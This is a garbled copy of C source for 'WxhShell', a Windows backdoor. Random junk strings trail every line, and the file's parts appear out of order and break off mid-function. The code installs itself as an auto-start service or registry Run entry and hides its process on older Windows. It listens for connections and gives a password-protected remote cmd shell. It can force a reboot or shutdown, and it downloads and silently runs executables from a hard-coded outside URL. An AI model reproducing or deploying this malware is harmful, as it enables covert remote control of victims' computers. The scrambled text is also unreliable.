    } |9Yx`_DF  
  // 关机 l-!"   
  case 'd': { K K]R@{ r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l@u  "iGw  
    if(Boot(SHUTDOWN)) 6W3."};  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +lZ-xU1  
    else { Eza^Tbq%j?  
    closesocket(wsh); AE`UnlUSF  
    ExitThread(0); n "^rS}Y]  
    } ;=E}PbZt2  
    break; HZS.%+2  
    } m!!;CbPo  
  // 获取shell 6 b?K-)kL  
  case 's': { R/Sm  
    CmdShell(wsh); *f{4 _ts  
    closesocket(wsh); ,KF>@3f  
    ExitThread(0); 6 OvH"/X4  
    break; zlTLp-^Y  
  } SB5qm?pT8<  
  // 退出 b"`fS`@/MW  
  case 'x': { B# .xs>{N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H4{7,n  
    CloseIt(wsh); 'O9Yu{M  
    break; DYC2bs>  
    } UEm4):/}  
  // 离开 g2*}XS 3  
  case 'q': { $P#+Y,r~\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  xB?!nd  
    closesocket(wsh); @{Fa=".Ch  
    WSACleanup(); l&"bm C:xr  
    exit(1); v&%W*M0q@  
    break; xdY'i0fh  
        } NNTrH\SU #  
  } t\!5$P  
  } RZSEcRlN  
iEy2z+/"^  
  // 提示信息 J p%J02  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;j(*:Nt1  
} QfM^J5j.M?  
  } z&um9rXR  
`/wXx5n5<  
  return; ~x_(v,NW  
} xlgT1b:6  
B>z^W+Unyn  
// shell模块句柄 C:bA:O  
int CmdShell(SOCKET sock) <S;YNHLC  
{ XRyeEwA;pp  
STARTUPINFO si; zJ ;]z0O  
ZeroMemory(&si,sizeof(si)); '-G,7!.,r%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \,:7=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wLt0Fq6QG  
PROCESS_INFORMATION ProcessInfo; 99]s/KD2yb  
char cmdline[]="cmd"; KVViTpZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^{++h?cS)  
  return 0; e(`r"RrQ  
} /w2IL7}  
~{kA;uw  
// 自身启动模式 >SYOtzg%  
int StartFromService(void) d)XT> &  
{ _n4`mL8>kH  
typedef struct Qt^6w}&  
{ e U-A_5  
  DWORD ExitStatus; FgPmQ  
  DWORD PebBaseAddress; zx"0^r}  
  DWORD AffinityMask; |BGzdBm^x:  
  DWORD BasePriority; a"1LF`  
  ULONG UniqueProcessId; miCY?=N`  
  ULONG InheritedFromUniqueProcessId; 7Bf4ojKt  
}   PROCESS_BASIC_INFORMATION; o(t`XE['<  
&qa16bz  
PROCNTQSIP NtQueryInformationProcess; ZC^?ng  
*S4&V<W>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6+PP(>em  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dPgA~~  
y6s/S.  
  HANDLE             hProcess; SxC(:k2b;  
  PROCESS_BASIC_INFORMATION pbi; OU mZ|  
Tilr%D(Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i@<w"yNd_  
  if(NULL == hInst ) return 0; (m.jC}J  
y%YP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DAEWa Kui  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  e+@.n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WCp[6g&%O  
PM {L}tEQ  
  if (!NtQueryInformationProcess) return 0; :X*uE^bH  
l?;ReK.r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f9n4/(C y  
  if(!hProcess) return 0; )oS~ish  
15DlD`QV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {>brue*)  
dQ<e}wtg  
  CloseHandle(hProcess); %U1HvmyK  
0nlh0u8#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z:{R4#(Q  
if(hProcess==NULL) return 0; tfe'].uT  
Z@Qf0 c  
HMODULE hMod; 2"Y=*s  
char procName[255]; 1fF\k#BE-%  
unsigned long cbNeeded; ;{n*F=%uC  
G0ENk|wbbj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !A_KCM:Ym  
i l%9j  
  CloseHandle(hProcess); _b=})**  
x6=tS  
if(strstr(procName,"services")) return 1; // 以服务启动 /J,&G: Er  
z]O>`50Q  
  return 0; // 注册表启动 2Ju,P_<dt  
} CR|>?9V  
`R$bx 64  
// 主模块 {Z[kvXf"mZ  
int StartWxhshell(LPSTR lpCmdLine) ):Ekf2  
{ wKz*)C  
  SOCKET wsl; 8[8U49V9(  
BOOL val=TRUE; jqoU;u`  
  int port=0; U(:t$SBKy  
  struct sockaddr_in door; #mO.[IuD  
vF@.B M>  
  if(wscfg.ws_autoins) Install(); c;R .rV<  
8EI&}I  
port=atoi(lpCmdLine); Z,b^f Vw  
a &R,jq  
if(port<=0) port=wscfg.ws_port; .:, 9Tf  
.fY$$aD$4  
  WSADATA data; s|"4!{It  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $I /RN  
+ V-&?E(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    HYg7B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i{>YQ  
  door.sin_family = AF_INET; wtGb 3D"am  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lHPhZ(Z  
  door.sin_port = htons(port); *P[N.5{  
h^b=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]g9n#$|.  
closesocket(wsl); =iPQ\_ON@  
return 1; u\UI6/  
} jTY{MY Jh  
WJ]g7!Ks  
  if(listen(wsl,2) == INVALID_SOCKET) { jY\YSQ  
closesocket(wsl); vYG$>*  
return 1; Aj=c,]2  
} R~BW=Dz,e  
  Wxhshell(wsl); :SpPT  
  WSACleanup(); !myF_cv}'  
>Q^*h}IdW  
return 0; \Ng[lN  
PFeK;`[  
} dtq]_HvTJ  
k8"[)lDc.  
// 以NT服务方式启动 kc:2ID&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'MIM_m)H  
{ <4Cy U j  
DWORD   status = 0; {pB9T3ry]  
  DWORD   specificError = 0xfffffff; v#+tu,)V;  
2VS#=i(B^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /ec~^S8X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N&lKo}hk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \[x4  
  serviceStatus.dwWin32ExitCode     = 0; 9L9mi<,  
  serviceStatus.dwServiceSpecificExitCode = 0; J7rfHhz  
  serviceStatus.dwCheckPoint       = 0; cV)~%e/  
  serviceStatus.dwWaitHint       = 0; SkA"MhX  
'~'3x4Bo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @BXV>U2B{  
  if (hServiceStatusHandle==0) return; tA{<)T  
T k4"qGC.  
status = GetLastError(); [p_C?hHO  
  if (status!=NO_ERROR) /d-7n|#E  
{ *CXVA&?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \(ZOt.3!J  
    serviceStatus.dwCheckPoint       = 0; t\C[mw  
    serviceStatus.dwWaitHint       = 0; YY<e]CriU  
    serviceStatus.dwWin32ExitCode     = status; yh Ymbu  
    serviceStatus.dwServiceSpecificExitCode = specificError; gG=E2+=uy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bDPT1A`F  
    return; gs77")K&  
  } \Tj(]  
bga2{<VF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :dzam HbX9  
  serviceStatus.dwCheckPoint       = 0; -n~VMLd?@  
  serviceStatus.dwWaitHint       = 0; 1{S" axSL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K&noA  
} 3bPvL/\Lb  
'H,l\i@"  
// 处理NT服务事件,比如:启动、停止 K<+h/Ok  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nS1 D&;#Y  
{ {%b-~& F9  
switch(fdwControl) NASRr  
{ )Hy|K1  
case SERVICE_CONTROL_STOP: pc%_:>  
  serviceStatus.dwWin32ExitCode = 0; 1 {V*(=Tp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xTL"%'|  
  serviceStatus.dwCheckPoint   = 0; SLc'1{  
  serviceStatus.dwWaitHint     = 0; 07+Qai-]  
  { <kmn3w,vi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w~g)Dz2G  
  } `4 A%BKYB  
  return; KmkPq]  
case SERVICE_CONTROL_PAUSE: <tg>1,C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %/&?t`%H  
  break; &6 L{1  
case SERVICE_CONTROL_CONTINUE: r 6STc,%5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +d736lLe%  
  break; Sc*O_c3D  
case SERVICE_CONTROL_INTERROGATE: Rj=xn(@d  
  break; qzqv-{.h  
}; &u_f:Pog  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6]^}GyM!  
} fz8eL:i:  
cf0D q~G  
// 标准应用程序主函数 HIi 5kv]}|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O=St}B\!m  
{ OPwj*b:-m  
( Qw"^lE3  
// 获取操作系统版本 dg1h<]T"9  
OsIsNt=GetOsVer(); .Eg>)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @vaK-&|#$  
Vj"B#  
  // 从命令行安装 ?c^0%Op  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2@aVoqrq#  
K/jC>4/c/  
  // 下载执行文件 {@oYMO~  
if(wscfg.ws_downexe) { kGMI ?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7PZ0  
  WinExec(wscfg.ws_filenam,SW_HIDE); rr# &0`]  
} Khxl 'qj  
$R7n1  
if(!OsIsNt) { ?8n`4yO0  
// 如果时win9x,隐藏进程并且设置为注册表启动 nrMm](Y45  
HideProc(); D EL#MD!  
StartWxhshell(lpCmdLine); *#,wV  
} Jx@3zl  
else .4~n|d>z  
  if(StartFromService()) \0m[Ch}~ey  
  // 以服务方式启动 70L{u+wIy  
  StartServiceCtrlDispatcher(DispatchTable); </|IgN$w`  
else ;X! sTs  
  // 普通方式启动 .3&zP  
  StartWxhshell(lpCmdLine); +I7n6s\  
<w.W[ak  
return 0; M yr [  
} {|6(_SM|  
n=n!Hn  
&V[m{.  
!t6:uC7H  
=========================================== 8|`4D 'Ln  
-1~bWRYq  
/ PAxPZf_  
Im1e/F]  
m0W5Ogk  
}r6SV%]:  
" t7("geN]  
/z*?:*  
#include <stdio.h> U&|=dH]-  
#include <string.h> iNgHx[*?  
#include <windows.h> z{cIG8z  
#include <winsock2.h> Kgi%Nd  
#include <winsvc.h> 1y l2i|m+  
#include <urlmon.h> JB a:))lw  
EaG3:<>J  
#pragma comment (lib, "Ws2_32.lib") P7(+{d{  
#pragma comment (lib, "urlmon.lib") e;R5A6|  
ig] * Z  
#define MAX_USER   100 // 最大客户端连接数 ](4V 3w.  
#define BUF_SOCK   200 // sock buffer <SUjz}_Oa:  
#define KEY_BUFF   255 // 输入 buffer tB4- of3+  
nM1U=Du  
#define REBOOT     0   // 重启 [XjJsk,  
#define SHUTDOWN   1   // 关机 H?8KTl=e  
2P~zYdjS  
#define DEF_PORT   5000 // 监听端口 s!``OyI/Z  
`9Zoq=/  
#define REG_LEN     16   // 注册表键长度 0m6Vf x  
#define SVC_LEN     80   // NT服务名长度 6$w)"Rq  
B0NKav  
// 从dll定义API >Qz#;HI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .R;HH_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ScYw3i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "?hEGJ;m"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i2/:' i  
$%"i|KTsv:  
// wxhshell配置信息 (Sr&Y1D  
struct WSCFG { |S|0'C*  
  int ws_port;         // 监听端口 33DP0OBL^  
  char ws_passstr[REG_LEN]; // 口令 hWwh`Vw%  
  int ws_autoins;       // 安装标记, 1=yes 0=no M2_sxibI  
  char ws_regname[REG_LEN]; // 注册表键名 &/}]9 #  
  char ws_svcname[REG_LEN]; // 服务名 o-Pa3L=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  ;?1H&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Wo2TU!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -mOSB(#bo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z;@;jQ7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m+||t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X"YH49?  
'+N!3r{G  
}; VG^*?62  
EFu2&P  
// default Wxhshell configuration S)of.Nq.;  
struct WSCFG wscfg={DEF_PORT, N|Xx#/  
    "xuhuanlingzhe", os|8/[gT  
    1, \:-#,( .V  
    "Wxhshell", P% _cIR  
    "Wxhshell", l^w=b~|7=  
            "WxhShell Service", bO>q`%&  
    "Wrsky Windows CmdShell Service", 9&fS<Hk  
    "Please Input Your Password: ", lfp[(Ph)9  
  1, m.e+S,i  
  "http://www.wrsky.com/wxhshell.exe", 3 HOJCgit  
  "Wxhshell.exe" z^$DXl@)h  
    }; %^ f! = *  
{m~.'DU  
// 消息定义模块 D*BZp0x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N7:=%Fy(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b<>GF-`w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AVf'"~?  
char *msg_ws_ext="\n\rExit."; e\%+~GUTC=  
char *msg_ws_end="\n\rQuit."; EjW3_ %  
char *msg_ws_boot="\n\rReboot..."; VI7f}  
char *msg_ws_poff="\n\rShutdown..."; ;[TC`DuNj0  
char *msg_ws_down="\n\rSave to "; ]Ir{9EE v  
 al/Mgo  
char *msg_ws_err="\n\rErr!"; `!WtKqr%B  
char *msg_ws_ok="\n\rOK!"; m}&cXY  
BH6)`0&2*N  
char ExeFile[MAX_PATH]; i3#To}g5V  
int nUser = 0; =<Q_&_.60  
HANDLE handles[MAX_USER]; P"d7Af  
int OsIsNt; )a"rj5~-  
]5| o8.  
SERVICE_STATUS       serviceStatus; "zFv? ay  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^*JpdmVhu  
pa4,W!t  
// 函数声明 W[Kv Qt3%  
int Install(void); -(*<2Hy4  
int Uninstall(void); *FhD%><  
int DownloadFile(char *sURL, SOCKET wsh); n[DQ5l  
int Boot(int flag); y.,S}7l:  
void HideProc(void); Sc!]M 5  
int GetOsVer(void); rHe*/nN%*  
int Wxhshell(SOCKET wsl); X 'D~#r  
void TalkWithClient(void *cs); lS1-e0,h1  
int CmdShell(SOCKET sock); 4HX qRFUD  
int StartFromService(void); hLF+_{\C|  
int StartWxhshell(LPSTR lpCmdLine); T.ZPpxY  
{ a2Y7\C/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r*$$82s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i>=d7'oR  
Qa*?iD  
// 数据结构和表定义 F:$Dz?F0v  
SERVICE_TABLE_ENTRY DispatchTable[] = Ve/"9 ?Y_  
{ dzA5l:5  
{wscfg.ws_svcname, NTServiceMain}, !%w#h0(b  
{NULL, NULL} BP f;!.  
}; `v2]Jk<  
$E=t6WvA  
// 自我安装 *Nfn6lVB  
int Install(void) z^(6>U ?  
{ .-kqt^Gc  
  char svExeFile[MAX_PATH]; a2:Tu  
  HKEY key; *7`N^e  
  strcpy(svExeFile,ExeFile); 'Na \9b(  
<9za!.(zu  
// 如果是win9x系统,修改注册表设为自启动 JGmW>mH  
if(!OsIsNt) { eFO+@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !83x,*O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5fh@nR  
  RegCloseKey(key); ,!`94{Ggv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G5^gwG+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .3;bUJ1  
  RegCloseKey(key); 7e,<$PH  
  return 0; ~cE;k@  
    } %}z/_QZ  
  } C=LXL1x2e  
} A<6V$e$:2  
else { )9,*s !)9  
Kd_WN;l  
// 如果是NT以上系统,安装为系统服务 o]NL_SM_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `[+9n2j  
if (schSCManager!=0) gto@o\&=  
{ >40B Fxc  
  SC_HANDLE schService = CreateService qZ!1>`B  
  ( `I$qMw,@  
  schSCManager, ivdw1g|)h  
  wscfg.ws_svcname, _ Ko0  
  wscfg.ws_svcdisp, (vIrXF5Dnj  
  SERVICE_ALL_ACCESS, =goZI67  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5H6GZ:hp  
  SERVICE_AUTO_START, -;$+`<%  
  SERVICE_ERROR_NORMAL, ,2>:h"^  
  svExeFile, c ;3bX6RD*  
  NULL, YQR*?/?a  
  NULL, CiP-Zh[gZ  
  NULL, i_GE9A=h  
  NULL, MCma3^/1  
  NULL Vvx(7p-GQ  
  ); @ ADY?  
  if (schService!=0) TGLkwXOkT  
  {  OU=9fw  
  CloseServiceHandle(schService); _lQ+J=J$.R  
  CloseServiceHandle(schSCManager); T4 SByX9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K. G#[  
  strcat(svExeFile,wscfg.ws_svcname); k;3P;@3,W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Cu({%Gy+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |xzqYu?o  
  RegCloseKey(key); yh_s(>sh  
  return 0; 7>{edNy!,  
    } hk ./G'E  
  } ,|I\{J #C  
  CloseServiceHandle(schSCManager); kt1f2cj  
} nGW wXySq  
} Y tGH>0}h  
+bm2vIh$  
return 1; IJ, ,aCj4g  
} !W$3p'8Tu  
;$i9gP[|m  
// 自我卸载 mQ%kGqs  
int Uninstall(void) QBto$!})  
{ e;3$7$n Pv  
  HKEY key; n E-=7S L  
any\}   
if(!OsIsNt) { 6X|KKsPzX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >K\ 79<x|  
  RegDeleteValue(key,wscfg.ws_regname); |r-<t  
  RegCloseKey(key); |[34<tIN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ciC4V^f  
  RegDeleteValue(key,wscfg.ws_regname); d+T]EpQJ*  
  RegCloseKey(key); {OAy@6 +  
  return 0; LO"HwN43h  
  } 6\o.wq  
} |P?8<8p  
} HTqikw5X  
else { cjN4U [  
He!0&B\7h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); McsqMI6  
if (schSCManager!=0) BC$In!  
{ W>@%d`>o5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h y[_  
  if (schService!=0) wFqz.HoB  
  { 3b&W=1J  
  if(DeleteService(schService)!=0) { 5 h{Hf]A  
  CloseServiceHandle(schService); D[-Ct  
  CloseServiceHandle(schSCManager); +V'r >C:  
  return 0; :&:>sd(QD  
  } |x5 w;=  
  CloseServiceHandle(schService); [\.>BK  
  } ONfJ"Rp3  
  CloseServiceHandle(schSCManager); 2!6Kzq  
} O3BU.X1'%  
} WG}QLcP  
wUV%NZB  
return 1; j_H T  
} PRah?|*0s  
!CMN/=  
// 从指定url下载文件 ah<f&2f  
int DownloadFile(char *sURL, SOCKET wsh) VmT5? i  
{ mE7Jv)@  
  HRESULT hr; *xjIl<`pK  
char seps[]= "/"; qnm9L w#  
char *token; w6yeX<!ll  
char *file; U92hv~\  
char myURL[MAX_PATH]; 'K"*4B^3  
char myFILE[MAX_PATH]; T6,lk1S'=  
^}[ N4  
strcpy(myURL,sURL); o{Ep/O`  
  token=strtok(myURL,seps); a $|u!_)!h  
  while(token!=NULL) f 0#V^[%Q  
  { 1 `AE]  
    file=token; .R"L$V$RU.  
  token=strtok(NULL,seps); sI'HS+~pU  
  } gjWH }(K  
{p\KB!Y-  
GetCurrentDirectory(MAX_PATH,myFILE); ;5l|-&{@*  
strcat(myFILE, "\\"); fh 3 6  
strcat(myFILE, file); gc:>HX );)  
  send(wsh,myFILE,strlen(myFILE),0); od fu7P_  
send(wsh,"...",3,0); -XyuA:pxx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ol@ZH_  
  if(hr==S_OK) [P,nW/H  
return 0; /W>"G1)  
else q'r3a+  
return 1; Y|~>(  
5~F0'tb|}  
} NeEV !V8  
el%Qxak`"  
// 系统电源模块 `QF|> N  
int Boot(int flag) =R"tnjR  
{ ]>o2P cb;  
  HANDLE hToken; |{K:.x#^  
  TOKEN_PRIVILEGES tkp; 9 JtG&^*  
#*/h*GNMs  
  if(OsIsNt) { dp70sA!JF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D=vq<X'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MO/N*4U2  
    tkp.PrivilegeCount = 1; 0}V'\=F454  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $C/Gn~k 5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LNE[c  
if(flag==REBOOT) { zJ`(LnV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -EaZ<d[|0  
  return 0; SI9hS4<j  
} kDh(~nfj  
else { O :^[4$~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LH;G :  
  return 0; Sq,ty{j2%  
} Ke'2"VkQt  
  } `.g8JC\_m  
  else { zOdKB2_J7  
if(flag==REBOOT) { $O8V!R*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KOx#LGz  
  return 0; BaAb4{  
} '=.Uz3D'0  
else { "r"An"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |/;5|  z  
  return 0; OvG0UXRU  
} "n, ZP@M;  
} Dys"|,F  
8-ssiiJ}gh  
return 1; MlE~ gCD  
} EIQy?ig86  
3+5\xRq  
// win9x进程隐藏模块 oJT@'{;*z  
void HideProc(void) s[4 !R&b  
{ z{L;)U B^  
Gx_e\fe-/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {~g  
  if ( hKernel != NULL ) |qDfFGYf  
  { i6 ?JX@I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L.[uMuUa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Bqlc+d:  
    FreeLibrary(hKernel); NV4W2thYo  
  } _ D}b  
>C&<dO#i  
return; wLe&y4  
} Q]UYG(  
Q8cPKDB  
// 获取操作系统版本 an[~%vxw}  
int GetOsVer(void) 72vGfT2HtZ  
{ x>" JWD  
  OSVERSIONINFO winfo; %P,^}h7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G0Tc}_o<Y  
  GetVersionEx(&winfo); aEdJri  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]mo<qWRc>p  
  return 1; psy(]Pf  
  else S&]<;N_B  
  return 0; ~.`r(  
} @/NZ>.  
{59VS Nl  
// 客户端句柄模块 QN&^LaB<T  
int Wxhshell(SOCKET wsl) XfK.Fj~-  
{ lT!$\E$1   
  SOCKET wsh; MXJ9,U{<C'  
  struct sockaddr_in client; MGyB8(  
  DWORD myID; 7 +hF;  
y{I[}$k  
  while(nUser<MAX_USER) "M0l;  
{ UMi`u6#  
  int nSize=sizeof(client); jP.b oj_u*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z/&a\`DsU  
  if(wsh==INVALID_SOCKET) return 1; J}_Dpb[L  
4FE@s0M,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !v4j`A;%  
if(handles[nUser]==0) ! }?jCpp  
  closesocket(wsh); xP6?es`  
else #Q7x:,f  
  nUser++; c[RL Yu  
  } dtnet_j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KW7? : x  
ck_fEF  
  return 0; kxqc6  
} 8u5 'g1M  
chMc(.cN0  
// 关闭 socket QT= ,En  
void CloseIt(SOCKET wsh) ,ibPSN5Ca  
{ /b:t;0G  
closesocket(wsh); m_Ac/ct f  
nUser--; /`O]etr`d  
ExitThread(0); i$^B-  
} oTD-+MZn  
$n#Bi.A j  
// 客户端请求句柄 Ag4Ga?&8ec  
void TalkWithClient(void *cs) P&%eIgAOL  
{ uGUv~bE  
 e_~fJ  
  SOCKET wsh=(SOCKET)cs; 6;[/ 9  
  char pwd[SVC_LEN]; Tq\~<rEo  
  char cmd[KEY_BUFF]; g?[& 0r1  
char chr[1]; %X"m/4c8}  
int i,j; #;"D)C  
k8 ;uC~L  
  while (nUser < MAX_USER) { yB4H3Q )  
ig2 +XR#%  
if(wscfg.ws_passstr) { ,c%K)KuPK.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E R]sDV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $~,}yh;  
  //ZeroMemory(pwd,KEY_BUFF); T4~`e_  
      i=0; E<<p_hX8R  
  while(i<SVC_LEN) { oO#xx)b  
P wB g  
  // 设置超时 phgexAq  
  fd_set FdRead; Gh2Q$w:  
  struct timeval TimeOut; )v52y8G-p  
  FD_ZERO(&FdRead); Z<ajET`)  
  FD_SET(wsh,&FdRead); 6mu<&m@  
  TimeOut.tv_sec=8; 1O7]3&L@  
  TimeOut.tv_usec=0; S~k*r{?H})  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ki/'Ic1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -.{oqs$  
&v$,pg%-:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?jri!]ux#  
  pwd=chr[0]; \+iu@C  
  if(chr[0]==0xd || chr[0]==0xa) { x*h?%egB!p  
  pwd=0; yOWOU`y?  
  break; WDE e$k4.  
  } h@~:(:zU$  
  i++; cGE=.  
    } !8Z2X!$m{<  
pd4cg?K  
  // 如果是非法用户,关闭 socket ' :\fl.b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y !<'rg  
} _)KY  
3ar=1_Ar  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2'wr={>W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ge0's+E+1  
!TP6=ks  
while(1) { }xDB ~k  
4E=0qbt8  
  ZeroMemory(cmd,KEY_BUFF); v@8S5KJ  
>1x7UXs~:  
      // 自动支持客户端 telnet标准   z,{e]MB)M  
  j=0; W.A1m4l58R  
  while(j<KEY_BUFF) { l80bHp=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O)`fvpVU  
  cmd[j]=chr[0]; 3{<R5wUo"  
  if(chr[0]==0xa || chr[0]==0xd) { x*.Ye 5Jb  
  cmd[j]=0; 6*ZU}xT  
  break; 24|  
  } GR,J0LT   
  j++; NSw<t9Yi  
    } )ll?-FZ   
W*k`  
  // 下载文件 I[#U`9Dt  
  if(strstr(cmd,"http://")) { x6LjcRS|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cDCJ]iDs  
  if(DownloadFile(cmd,wsh)) R0%?:! F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $#5klA  
